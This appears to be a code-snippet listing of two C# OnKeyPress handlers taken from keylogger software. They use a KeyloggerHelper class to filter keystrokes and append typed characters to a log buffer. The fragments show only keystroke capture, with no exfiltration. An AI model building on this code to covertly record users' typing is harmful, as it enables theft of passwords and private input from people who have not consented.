Example #1
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void OnKeyPress(object sender, KeyPressEventArgs e)
        {
            if (m_pressedKeys.IsModifierKeysSet() && m_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                return;
            }

            if ((!m_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(m_pressedKeyChars, e.KeyChar)) && !m_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                if (m_pressedKeys.IsModifierKeysSet())
                {
                    m_ignoreSpecialKeys = true;
                }

                m_pressedKeyChars.Add(e.KeyChar);
                Append(e.KeyChar);
            }
        }
Example #2
0
        //This method should be used to process all of our unicode characters
        private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
        {
            if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                return;
            }

            if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyloggerHelper.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                var filtered = KeyloggerHelper.Filter(e.KeyChar);
                if (!string.IsNullOrEmpty(filtered))
                {
                    Debug.WriteLine("OnKeyPress Output: " + filtered);
                    if (_pressedKeys.IsModifierKeysSet())
                    {
                        _ignoreSpecialKeys = true;
                    }

                    _pressedKeyChars.Add(e.KeyChar);
                    _logFileBuffer.Append(filtered);
                }
            }
        }